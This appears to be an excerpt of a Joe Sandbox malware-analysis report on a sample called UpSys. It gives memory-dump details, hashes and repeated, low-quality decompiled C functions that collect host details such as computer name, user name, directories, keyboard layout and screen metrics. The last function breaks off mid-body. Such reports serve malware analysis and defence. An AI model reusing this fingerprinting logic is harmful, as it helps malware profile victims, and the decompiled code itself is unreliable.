                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: FolderPath
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1514166925-0
                                                                                                                                                                                                        • Opcode ID: b671c63b9d446b1848bc61e25d1ce61db8860cfdbf3762a456ecd3a442809c99
                                                                                                                                                                                                        • Instruction ID: 045687da1e2332fe959ccf4b27f59a0458690d7944b947a0cc6cc8b8026cf4ce
                                                                                                                                                                                                        • Opcode Fuzzy Hash: b671c63b9d446b1848bc61e25d1ce61db8860cfdbf3762a456ecd3a442809c99
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 7FC0123664869082E7355755B059B5F22D0F74D344F501115638A07D64CF38C100DB09
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140084AD1 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 41%
                                                                                                                                                                                                        			E00000001140084AD1(void* __ecx, void* __ebp, signed int* __rbx, signed long long __rsi, void* __r9, long long __r14, void* __r15) {
				long _t83;
				signed int _t92;
				long _t94;
				int _t102;
				intOrPtr _t111;
				void* _t112;
				intOrPtr _t116;
				signed int _t122;
				long long* _t174;
				intOrPtr _t175;
				intOrPtr _t176;
				intOrPtr _t177;
				signed long long _t180;
				signed int* _t181;
				signed int* _t182;
				void* _t238;
				intOrPtr _t248;
				int* _t270;
				void* _t272;

				_t267 = __rsi;
				_t181 = __rbx;
				 *(_t272 + 0x628) = 0x104;
				GetComputerNameW(??, ??);
				GetWindowsDirectoryW();
				_t174 =  *0x400c88a8; // 0x3263d10
				if ( *((intOrPtr*)(_t174 + 0x3e)) == r14b) goto 0x40084baf;
				 *((long long*)(_t272 + 0x48)) = __r14;
				 *((long long*)(_t272 + 0x58)) = __r14;
				E0000000114003DEE0( *((intOrPtr*)(_t174 + 0x3e)) - r14b, _t272 + 0x48);
				 *_t174();
				E0000000114003DF10(_t272 + 0x48);
				goto 0x400848cd;
				GetSystemDirectoryW(??, ??);
				E00000001140007A40(__rbx, _t270, __rsi);
				 *_t270 = r14d;
				E00000001140007A40(_t181, _t270, _t267);
				 *_t270 = 6;
				E00000001140007A40(_t181, _t270, _t267);
				 *_t270 = 3;
				E00000001140007A40(_t181, _t270, _t267);
				 *_t270 = 9;
				E00000001140007A40(_t181, _t270, _t267);
				 *_t270 = 5;
				E00000001140007A40(_t181, _t270, _t267);
				 *_t270 = 0xa;
				E00000001140007A40(_t181, _t270, _t267);
				 *_t270 = 2;
				E00000001140007A40(_t181, _t270, _t267);
				 *_t270 = 7;
				E00000001140007A40(_t181, _t270, _t267);
				 *_t270 = 8;
				E00000001140007A40(_t181, _t270, _t267);
				 *_t270 = 4;
				if ( *0x400b549a == r12b) goto 0x40085119;
				E00000001140007A40(_t181, _t270, _t267);
				 *_t270 = 0x40;
				E00000001140007A40(_t181, _t270, _t267);
				 *_t270 = 0x41;
				E00000001140007A40(_t181, _t270, _t267);
				 *_t270 = 0x42;
				E00000001140007A40(_t181, _t270, _t267);
				 *_t270 = 0x43;
				E00000001140042150(_t181[0x70], 0x400c7ef0);
				_t83 = GetCurrentDirectoryW();
				_t175 =  *0x400c88a8; // 0x3263d10
				_t122 =  *(_t175 + 0x40) & 0x0000ffff;
				if (_t122 == r14d) goto 0x40084d88;
				if (_t122 == 6) goto 0x40084d7c;
				if (_t122 != 9) goto 0x40084e52;
				goto 0x4008483d;
				goto 0x4008483a;
				E000000011400163F0(_t83);
				_t238 =  ==  ? L"X86" : L"X64";
				_t176 =  *0x400c88a8; // 0x3263d10
				if ( *((intOrPtr*)(_t176 + 0x3c)) != r12b) goto 0x40084dd8;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t176 + 0x3a)) != r12b) goto 0x40084dea;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t176 + 0x38)) != r12b) goto 0x40084dfc;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t176 + 0x36)) != r12b) goto 0x40084e0e;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t176 + 0x34)) != r12b) goto 0x40084e20;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t176 + 0x32)) != r12b) goto 0x40084e3d;
				goto 0x40084daa;
				_t167 =  *((intOrPtr*)(_t176 + 0x30)) - r12b;
				if ( *((intOrPtr*)(_t176 + 0x30)) != r12b) goto 0x40084e52;
				goto 0x4008483d;
				_t177 =  *0x400c88a8; // 0x3263d10
				_t116 =  *((intOrPtr*)(_t177 + 8));
				_t248 =  *0x400c88a8; // 0x3263d10
				E00000001140013120(_t177, _t181, _t270, _t248 + 0x10);
				r9d = 0x104;
				 *((long long*)(_t272 + 0x20)) = _t272 + 0xa0;
				E00000001140015DE0(_t181, L"InstallLanguage", __r9);
				r9d = 0x104;
				 *((long long*)(_t272 + 0x20)) = _t272 + 0xa0;
				E00000001140015DE0(_t181, L"SchemeLangID", __r9);
				r8d = 4;
				 *(_t272 + 0x628) =  *(_t272 + 0xa0) & 0x0000ffff;
				E00000001140040110( *(_t272 + 0xa0) & 0x0000ffff, _t167, _t272 + 0xa0, _t181, _t272 + 0xa0, _t267);
				GetKeyboardLayoutNameW();
				if (E00000001140016A44(E00000001140016E4C(_t272 + 0x3c0, L"1, 0, 0, 0"), _t272 + 0x3c0) <= 0) goto 0x40084f9c;
				_t182 = _t272 + 0x3c0;
				_t92 =  *(_t272 + 0x3c0) & 0x0000ffff;
				if (_t92 == 0x20) goto 0x40084f83;
				if (_t92 != 0x2c) goto 0x40084f7c;
				 *_t182 = 0x2e;
				goto 0x40084f7f;
				 *_t182 = _t92;
				_t181 =  &(_t182[0]);
				r14d = r14d + r12d;
				if (r14d - E00000001140016A44(_t92, _t272 + 0x3c0) < 0) goto 0x40084f63;
				_t180 = r14d + r12d;
				r14d = 0;
				 *((intOrPtr*)(_t272 + 0x3c0 + _t180 * 2)) = r14w;
				r8d = 0x104;
				_t94 = GetModuleFileNameW(??, ??, ??);
				E000000011400408D0(_t94, _t116, r12d, 0x2e, __ebp, _t180, _t181, _t272 + 0x60, _t267, _t270, L"SchemeLangID");
				GetDesktopWindow();
				GetWindowRect(??, ??);
				GetDesktopWindow();
				GetWindowRect(??, ??);
				GetDesktopWindow();
				GetDC(??);
				_t102 = GetDeviceCaps(??, ??);
				E00000001140007A40(_t181, _t270, _t180);
				_t270[2] = r12d;
				 *_t270 = _t102;
				ReleaseDC(??, ??);
				GetDesktopWindow();
				_t267 = _t180;
				GetDC(??);
				r8d = 0x104;
				GetEnvironmentVariableW(??, ??, ??);
				GetTempPathW();
				E00000001140015460(_t180, _t272 + 0xa0);
				 *(_t272 + 0x628) = 0x104;
				GetUserNameW(??, ??); // executed
				_t111 =  *0x400c5f48; // 0x4
				if (_t111 == 3) goto 0x40085116;
				if (_t111 != 4) goto L16;
				_t112 = E00000001140007A40(_t181, _t270, _t267);
				 *_t270 = r12d;
				_t270[2] = r12d;
				r12d = r14d;
				E00000001140002610(_t112, _t181, __r15);
				asm("inc ecx");
				return r12d;
			}






















                                                                                                                                                                                                        0x140084ad1
                                                                                                                                                                                                        0x140084ad1
                                                                                                                                                                                                        0x140084b42
                                                                                                                                                                                                        0x140084b4d
                                                                                                                                                                                                        0x140084b65
                                                                                                                                                                                                        0x140084b70
                                                                                                                                                                                                        0x140084b7b
                                                                                                                                                                                                        0x140084b82
                                                                                                                                                                                                        0x140084b87
                                                                                                                                                                                                        0x140084b8c
                                                                                                                                                                                                        0x140084b9e
                                                                                                                                                                                                        0x140084ba5
                                                                                                                                                                                                        0x140084baa
                                                                                                                                                                                                        0x140084bbc
                                                                                                                                                                                                        0x140084bca
                                                                                                                                                                                                        0x140084bcf
                                                                                                                                                                                                        0x140084bdb
                                                                                                                                                                                                        0x140084be0
                                                                                                                                                                                                        0x140084bef
                                                                                                                                                                                                        0x140084bf4
                                                                                                                                                                                                        0x140084c03
                                                                                                                                                                                                        0x140084c08
                                                                                                                                                                                                        0x140084c17
                                                                                                                                                                                                        0x140084c1c
                                                                                                                                                                                                        0x140084c2b
                                                                                                                                                                                                        0x140084c30
                                                                                                                                                                                                        0x140084c3f
                                                                                                                                                                                                        0x140084c44
                                                                                                                                                                                                        0x140084c53
                                                                                                                                                                                                        0x140084c58
                                                                                                                                                                                                        0x140084c67
                                                                                                                                                                                                        0x140084c6c
                                                                                                                                                                                                        0x140084c7b
                                                                                                                                                                                                        0x140084c80
                                                                                                                                                                                                        0x140084c96
                                                                                                                                                                                                        0x140084cad
                                                                                                                                                                                                        0x140084cb2
                                                                                                                                                                                                        0x140084cc1
                                                                                                                                                                                                        0x140084cc6
                                                                                                                                                                                                        0x140084cd5
                                                                                                                                                                                                        0x140084cda
                                                                                                                                                                                                        0x140084ce9
                                                                                                                                                                                                        0x140084cee
                                                                                                                                                                                                        0x140084d2b
                                                                                                                                                                                                        0x140084d44
                                                                                                                                                                                                        0x140084d4f
                                                                                                                                                                                                        0x140084d56
                                                                                                                                                                                                        0x140084d5d
                                                                                                                                                                                                        0x140084d62
                                                                                                                                                                                                        0x140084d6a
                                                                                                                                                                                                        0x140084d77
                                                                                                                                                                                                        0x140084d83
                                                                                                                                                                                                        0x140084d94
                                                                                                                                                                                                        0x140084daa
                                                                                                                                                                                                        0x140084dbf
                                                                                                                                                                                                        0x140084dca
                                                                                                                                                                                                        0x140084dd3
                                                                                                                                                                                                        0x140084ddc
                                                                                                                                                                                                        0x140084de5
                                                                                                                                                                                                        0x140084dee
                                                                                                                                                                                                        0x140084df7
                                                                                                                                                                                                        0x140084e00
                                                                                                                                                                                                        0x140084e09
                                                                                                                                                                                                        0x140084e12
                                                                                                                                                                                                        0x140084e1b
                                                                                                                                                                                                        0x140084e24
                                                                                                                                                                                                        0x140084e38
                                                                                                                                                                                                        0x140084e40
                                                                                                                                                                                                        0x140084e44
                                                                                                                                                                                                        0x140084e4d
                                                                                                                                                                                                        0x140084e5e
                                                                                                                                                                                                        0x140084e65
                                                                                                                                                                                                        0x140084e6d
                                                                                                                                                                                                        0x140084e7b
                                                                                                                                                                                                        0x140084e9b
                                                                                                                                                                                                        0x140084ea8
                                                                                                                                                                                                        0x140084ead
                                                                                                                                                                                                        0x140084ecd
                                                                                                                                                                                                        0x140084eda
                                                                                                                                                                                                        0x140084edf
                                                                                                                                                                                                        0x140084ef4
                                                                                                                                                                                                        0x140084efa
                                                                                                                                                                                                        0x140084f01
                                                                                                                                                                                                        0x140084f13
                                                                                                                                                                                                        0x140084f4c
                                                                                                                                                                                                        0x140084f4e
                                                                                                                                                                                                        0x140084f63
                                                                                                                                                                                                        0x140084f6c
                                                                                                                                                                                                        0x140084f75
                                                                                                                                                                                                        0x140084f77
                                                                                                                                                                                                        0x140084f7a
                                                                                                                                                                                                        0x140084f7c
                                                                                                                                                                                                        0x140084f7f
                                                                                                                                                                                                        0x140084f8b
                                                                                                                                                                                                        0x140084f9a
                                                                                                                                                                                                        0x140084f9c
                                                                                                                                                                                                        0x140084f9f
                                                                                                                                                                                                        0x140084faa
                                                                                                                                                                                                        0x140084fc0
                                                                                                                                                                                                        0x140084fc8
                                                                                                                                                                                                        0x140084fdb
                                                                                                                                                                                                        0x140084fff
                                                                                                                                                                                                        0x14008500d
                                                                                                                                                                                                        0x14008501c
                                                                                                                                                                                                        0x14008502a
                                                                                                                                                                                                        0x140085039
                                                                                                                                                                                                        0x140085045
                                                                                                                                                                                                        0x140085056
                                                                                                                                                                                                        0x140085061
                                                                                                                                                                                                        0x14008506c
                                                                                                                                                                                                        0x140085070
                                                                                                                                                                                                        0x140085073
                                                                                                                                                                                                        0x14008507e
                                                                                                                                                                                                        0x140085087
                                                                                                                                                                                                        0x14008508a
                                                                                                                                                                                                        0x1400850a6
                                                                                                                                                                                                        0x1400850ac
                                                                                                                                                                                                        0x1400850c4
                                                                                                                                                                                                        0x1400850d2
                                                                                                                                                                                                        0x1400850ec
                                                                                                                                                                                                        0x1400850f7
                                                                                                                                                                                                        0x140085102
                                                                                                                                                                                                        0x14008510b
                                                                                                                                                                                                        0x140085110
                                                                                                                                                                                                        0x140085119
                                                                                                                                                                                                        0x14008511e
                                                                                                                                                                                                        0x140085122
                                                                                                                                                                                                        0x140085126
                                                                                                                                                                                                        0x14008512c
                                                                                                                                                                                                        0x140085140
                                                                                                                                                                                                        0x140085153

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: FolderPath
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1514166925-0
                                                                                                                                                                                                        • Opcode ID: cccf445a3784d060ae0202dad1c357554b0fdde9e9f842cab539e4fcc116f81b
                                                                                                                                                                                                        • Instruction ID: 7832186a22819ee7b6e1f20cb0f7b2d6d8341bbe4d911ae76a35af06f5f7c1f0
                                                                                                                                                                                                        • Opcode Fuzzy Hash: cccf445a3784d060ae0202dad1c357554b0fdde9e9f842cab539e4fcc116f81b
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 80C0123660869081E7355755B059B5F22D0F74D344F501115638A07D64CF38C100DB09
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140084AD8 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 41%
                                                                                                                                                                                                        			E00000001140084AD8(void* __ecx, void* __ebp, signed int* __rbx, signed long long __rsi, void* __r9, long long __r14, void* __r15) {
				long _t83;
				signed int _t92;
				long _t94;
				int _t102;
				intOrPtr _t111;
				void* _t112;
				intOrPtr _t116;
				signed int _t122;
				long long* _t173;
				intOrPtr _t174;
				intOrPtr _t175;
				intOrPtr _t176;
				signed long long _t179;
				signed int* _t180;
				signed int* _t181;
				void* _t237;
				intOrPtr _t247;
				int* _t269;
				void* _t271;

				_t266 = __rsi;
				_t180 = __rbx;
				 *(_t271 + 0x628) = 0x104;
				GetComputerNameW(??, ??);
				GetWindowsDirectoryW();
				_t173 =  *0x400c88a8; // 0x3263d10
				if ( *((intOrPtr*)(_t173 + 0x3e)) == r14b) goto 0x40084baf;
				 *((long long*)(_t271 + 0x48)) = __r14;
				 *((long long*)(_t271 + 0x58)) = __r14;
				E0000000114003DEE0( *((intOrPtr*)(_t173 + 0x3e)) - r14b, _t271 + 0x48);
				 *_t173();
				E0000000114003DF10(_t271 + 0x48);
				goto 0x400848cd;
				GetSystemDirectoryW(??, ??);
				E00000001140007A40(__rbx, _t269, __rsi);
				 *_t269 = r14d;
				E00000001140007A40(_t180, _t269, _t266);
				 *_t269 = 6;
				E00000001140007A40(_t180, _t269, _t266);
				 *_t269 = 3;
				E00000001140007A40(_t180, _t269, _t266);
				 *_t269 = 9;
				E00000001140007A40(_t180, _t269, _t266);
				 *_t269 = 5;
				E00000001140007A40(_t180, _t269, _t266);
				 *_t269 = 0xa;
				E00000001140007A40(_t180, _t269, _t266);
				 *_t269 = 2;
				E00000001140007A40(_t180, _t269, _t266);
				 *_t269 = 7;
				E00000001140007A40(_t180, _t269, _t266);
				 *_t269 = 8;
				E00000001140007A40(_t180, _t269, _t266);
				 *_t269 = 4;
				if ( *0x400b549a == r12b) goto 0x40085119;
				E00000001140007A40(_t180, _t269, _t266);
				 *_t269 = 0x40;
				E00000001140007A40(_t180, _t269, _t266);
				 *_t269 = 0x41;
				E00000001140007A40(_t180, _t269, _t266);
				 *_t269 = 0x42;
				E00000001140007A40(_t180, _t269, _t266);
				 *_t269 = 0x43;
				E00000001140042150(_t180[0x70], 0x400c7ef0);
				_t83 = GetCurrentDirectoryW();
				_t174 =  *0x400c88a8; // 0x3263d10
				_t122 =  *(_t174 + 0x40) & 0x0000ffff;
				if (_t122 == r14d) goto 0x40084d88;
				if (_t122 == 6) goto 0x40084d7c;
				if (_t122 != 9) goto 0x40084e52;
				goto 0x4008483d;
				goto 0x4008483a;
				E000000011400163F0(_t83);
				_t237 =  ==  ? L"X86" : L"X64";
				_t175 =  *0x400c88a8; // 0x3263d10
				if ( *((intOrPtr*)(_t175 + 0x3c)) != r12b) goto 0x40084dd8;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t175 + 0x3a)) != r12b) goto 0x40084dea;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t175 + 0x38)) != r12b) goto 0x40084dfc;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t175 + 0x36)) != r12b) goto 0x40084e0e;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t175 + 0x34)) != r12b) goto 0x40084e20;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t175 + 0x32)) != r12b) goto 0x40084e3d;
				goto 0x40084daa;
				_t166 =  *((intOrPtr*)(_t175 + 0x30)) - r12b;
				if ( *((intOrPtr*)(_t175 + 0x30)) != r12b) goto 0x40084e52;
				goto 0x4008483d;
				_t176 =  *0x400c88a8; // 0x3263d10
				_t116 =  *((intOrPtr*)(_t176 + 8));
				_t247 =  *0x400c88a8; // 0x3263d10
				E00000001140013120(_t176, _t180, _t269, _t247 + 0x10);
				r9d = 0x104;
				 *((long long*)(_t271 + 0x20)) = _t271 + 0xa0;
				E00000001140015DE0(_t180, L"InstallLanguage", __r9);
				r9d = 0x104;
				 *((long long*)(_t271 + 0x20)) = _t271 + 0xa0;
				E00000001140015DE0(_t180, L"SchemeLangID", __r9);
				r8d = 4;
				 *(_t271 + 0x628) =  *(_t271 + 0xa0) & 0x0000ffff;
				E00000001140040110( *(_t271 + 0xa0) & 0x0000ffff, _t166, _t271 + 0xa0, _t180, _t271 + 0xa0, _t266);
				GetKeyboardLayoutNameW();
				if (E00000001140016A44(E00000001140016E4C(_t271 + 0x3c0, L"1, 0, 0, 0"), _t271 + 0x3c0) <= 0) goto 0x40084f9c;
				_t181 = _t271 + 0x3c0;
				_t92 =  *(_t271 + 0x3c0) & 0x0000ffff;
				if (_t92 == 0x20) goto 0x40084f83;
				if (_t92 != 0x2c) goto 0x40084f7c;
				 *_t181 = 0x2e;
				goto 0x40084f7f;
				 *_t181 = _t92;
				_t180 =  &(_t181[0]);
				r14d = r14d + r12d;
				if (r14d - E00000001140016A44(_t92, _t271 + 0x3c0) < 0) goto 0x40084f63;
				_t179 = r14d + r12d;
				r14d = 0;
				 *((intOrPtr*)(_t271 + 0x3c0 + _t179 * 2)) = r14w;
				r8d = 0x104;
				_t94 = GetModuleFileNameW(??, ??, ??);
				E000000011400408D0(_t94, _t116, r12d, 0x2e, __ebp, _t179, _t180, _t271 + 0x60, _t266, _t269, L"SchemeLangID");
				GetDesktopWindow();
				GetWindowRect(??, ??);
				GetDesktopWindow();
				GetWindowRect(??, ??);
				GetDesktopWindow();
				GetDC(??);
				_t102 = GetDeviceCaps(??, ??);
				E00000001140007A40(_t180, _t269, _t179);
				_t269[2] = r12d;
				 *_t269 = _t102;
				ReleaseDC(??, ??);
				GetDesktopWindow();
				_t266 = _t179;
				GetDC(??);
				r8d = 0x104;
				GetEnvironmentVariableW(??, ??, ??);
				GetTempPathW();
				E00000001140015460(_t179, _t271 + 0xa0);
				 *(_t271 + 0x628) = 0x104;
				GetUserNameW(??, ??); // executed
				_t111 =  *0x400c5f48; // 0x4
				if (_t111 == 3) goto 0x40085116;
				if (_t111 != 4) goto L15;
				_t112 = E00000001140007A40(_t180, _t269, _t266);
				 *_t269 = r12d;
				_t269[2] = r12d;
				r12d = r14d;
				E00000001140002610(_t112, _t180, __r15);
				asm("inc ecx");
				return r12d;
			}






















                                                                                                                                                                                                        0x140084ad8
                                                                                                                                                                                                        0x140084ad8
                                                                                                                                                                                                        0x140084b42
                                                                                                                                                                                                        0x140084b4d
                                                                                                                                                                                                        0x140084b65
                                                                                                                                                                                                        0x140084b70
                                                                                                                                                                                                        0x140084b7b
                                                                                                                                                                                                        0x140084b82
                                                                                                                                                                                                        0x140084b87
                                                                                                                                                                                                        0x140084b8c
                                                                                                                                                                                                        0x140084b9e
                                                                                                                                                                                                        0x140084ba5
                                                                                                                                                                                                        0x140084baa
                                                                                                                                                                                                        0x140084bbc
                                                                                                                                                                                                        0x140084bca
                                                                                                                                                                                                        0x140084bcf
                                                                                                                                                                                                        0x140084bdb
                                                                                                                                                                                                        0x140084be0
                                                                                                                                                                                                        0x140084bef
                                                                                                                                                                                                        0x140084bf4
                                                                                                                                                                                                        0x140084c03
                                                                                                                                                                                                        0x140084c08
                                                                                                                                                                                                        0x140084c17
                                                                                                                                                                                                        0x140084c1c
                                                                                                                                                                                                        0x140084c2b
                                                                                                                                                                                                        0x140084c30
                                                                                                                                                                                                        0x140084c3f
                                                                                                                                                                                                        0x140084c44
                                                                                                                                                                                                        0x140084c53
                                                                                                                                                                                                        0x140084c58
                                                                                                                                                                                                        0x140084c67
                                                                                                                                                                                                        0x140084c6c
                                                                                                                                                                                                        0x140084c7b
                                                                                                                                                                                                        0x140084c80
                                                                                                                                                                                                        0x140084c96
                                                                                                                                                                                                        0x140084cad
                                                                                                                                                                                                        0x140084cb2
                                                                                                                                                                                                        0x140084cc1
                                                                                                                                                                                                        0x140084cc6
                                                                                                                                                                                                        0x140084cd5
                                                                                                                                                                                                        0x140084cda
                                                                                                                                                                                                        0x140084ce9
                                                                                                                                                                                                        0x140084cee
                                                                                                                                                                                                        0x140084d2b
                                                                                                                                                                                                        0x140084d44
                                                                                                                                                                                                        0x140084d4f
                                                                                                                                                                                                        0x140084d56
                                                                                                                                                                                                        0x140084d5d
                                                                                                                                                                                                        0x140084d62
                                                                                                                                                                                                        0x140084d6a
                                                                                                                                                                                                        0x140084d77
                                                                                                                                                                                                        0x140084d83
                                                                                                                                                                                                        0x140084d94
                                                                                                                                                                                                        0x140084daa
                                                                                                                                                                                                        0x140084dbf
                                                                                                                                                                                                        0x140084dca
                                                                                                                                                                                                        0x140084dd3
                                                                                                                                                                                                        0x140084ddc
                                                                                                                                                                                                        0x140084de5
                                                                                                                                                                                                        0x140084dee
                                                                                                                                                                                                        0x140084df7
                                                                                                                                                                                                        0x140084e00
                                                                                                                                                                                                        0x140084e09
                                                                                                                                                                                                        0x140084e12
                                                                                                                                                                                                        0x140084e1b
                                                                                                                                                                                                        0x140084e24
                                                                                                                                                                                                        0x140084e38
                                                                                                                                                                                                        0x140084e40
                                                                                                                                                                                                        0x140084e44
                                                                                                                                                                                                        0x140084e4d
                                                                                                                                                                                                        0x140084e5e
                                                                                                                                                                                                        0x140084e65
                                                                                                                                                                                                        0x140084e6d
                                                                                                                                                                                                        0x140084e7b
                                                                                                                                                                                                        0x140084e9b
                                                                                                                                                                                                        0x140084ea8
                                                                                                                                                                                                        0x140084ead
                                                                                                                                                                                                        0x140084ecd
                                                                                                                                                                                                        0x140084eda
                                                                                                                                                                                                        0x140084edf
                                                                                                                                                                                                        0x140084ef4
                                                                                                                                                                                                        0x140084efa
                                                                                                                                                                                                        0x140084f01
                                                                                                                                                                                                        0x140084f13
                                                                                                                                                                                                        0x140084f4c
                                                                                                                                                                                                        0x140084f4e
                                                                                                                                                                                                        0x140084f63
                                                                                                                                                                                                        0x140084f6c
                                                                                                                                                                                                        0x140084f75
                                                                                                                                                                                                        0x140084f77
                                                                                                                                                                                                        0x140084f7a
                                                                                                                                                                                                        0x140084f7c
                                                                                                                                                                                                        0x140084f7f
                                                                                                                                                                                                        0x140084f8b
                                                                                                                                                                                                        0x140084f9a
                                                                                                                                                                                                        0x140084f9c
                                                                                                                                                                                                        0x140084f9f
                                                                                                                                                                                                        0x140084faa
                                                                                                                                                                                                        0x140084fc0
                                                                                                                                                                                                        0x140084fc8
                                                                                                                                                                                                        0x140084fdb
                                                                                                                                                                                                        0x140084fff
                                                                                                                                                                                                        0x14008500d
                                                                                                                                                                                                        0x14008501c
                                                                                                                                                                                                        0x14008502a
                                                                                                                                                                                                        0x140085039
                                                                                                                                                                                                        0x140085045
                                                                                                                                                                                                        0x140085056
                                                                                                                                                                                                        0x140085061
                                                                                                                                                                                                        0x14008506c
                                                                                                                                                                                                        0x140085070
                                                                                                                                                                                                        0x140085073
                                                                                                                                                                                                        0x14008507e
                                                                                                                                                                                                        0x140085087
                                                                                                                                                                                                        0x14008508a
                                                                                                                                                                                                        0x1400850a6
                                                                                                                                                                                                        0x1400850ac
                                                                                                                                                                                                        0x1400850c4
                                                                                                                                                                                                        0x1400850d2
                                                                                                                                                                                                        0x1400850ec
                                                                                                                                                                                                        0x1400850f7
                                                                                                                                                                                                        0x140085102
                                                                                                                                                                                                        0x14008510b
                                                                                                                                                                                                        0x140085110
                                                                                                                                                                                                        0x140085119
                                                                                                                                                                                                        0x14008511e
                                                                                                                                                                                                        0x140085122
                                                                                                                                                                                                        0x140085126
                                                                                                                                                                                                        0x14008512c
                                                                                                                                                                                                        0x140085140
                                                                                                                                                                                                        0x140085153

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: FolderPath
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1514166925-0
                                                                                                                                                                                                        • Opcode ID: 072f5ffbf889e0e66ad3a350520e8443742bd8bc81b5f7d91dbc388421b62ec1
                                                                                                                                                                                                        • Instruction ID: 7445100c73349455d7acf61a25be7340f04050f40ca348965dc6b16aa0c9c221
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 072f5ffbf889e0e66ad3a350520e8443742bd8bc81b5f7d91dbc388421b62ec1
                                                                                                                                                                                                        • Instruction Fuzzy Hash: F0C0123270869485E7355755B065B9F2290F74D348F501115638A07D64CF38C100DB09
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140084AED Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 41%
                                                                                                                                                                                                        			E00000001140084AED(void* __ecx, void* __ebp, signed int* __rbx, signed long long __rsi, void* __r9, long long __r14, void* __r15) {
				long _t83;
				signed int _t92;
				long _t94;
				int _t102;
				intOrPtr _t111;
				void* _t112;
				intOrPtr _t116;
				signed int _t122;
				long long* _t170;
				intOrPtr _t171;
				intOrPtr _t172;
				intOrPtr _t173;
				signed long long _t176;
				signed int* _t177;
				signed int* _t178;
				void* _t234;
				intOrPtr _t244;
				int* _t266;
				void* _t268;

				_t263 = __rsi;
				_t177 = __rbx;
				 *(_t268 + 0x628) = 0x104;
				GetComputerNameW(??, ??);
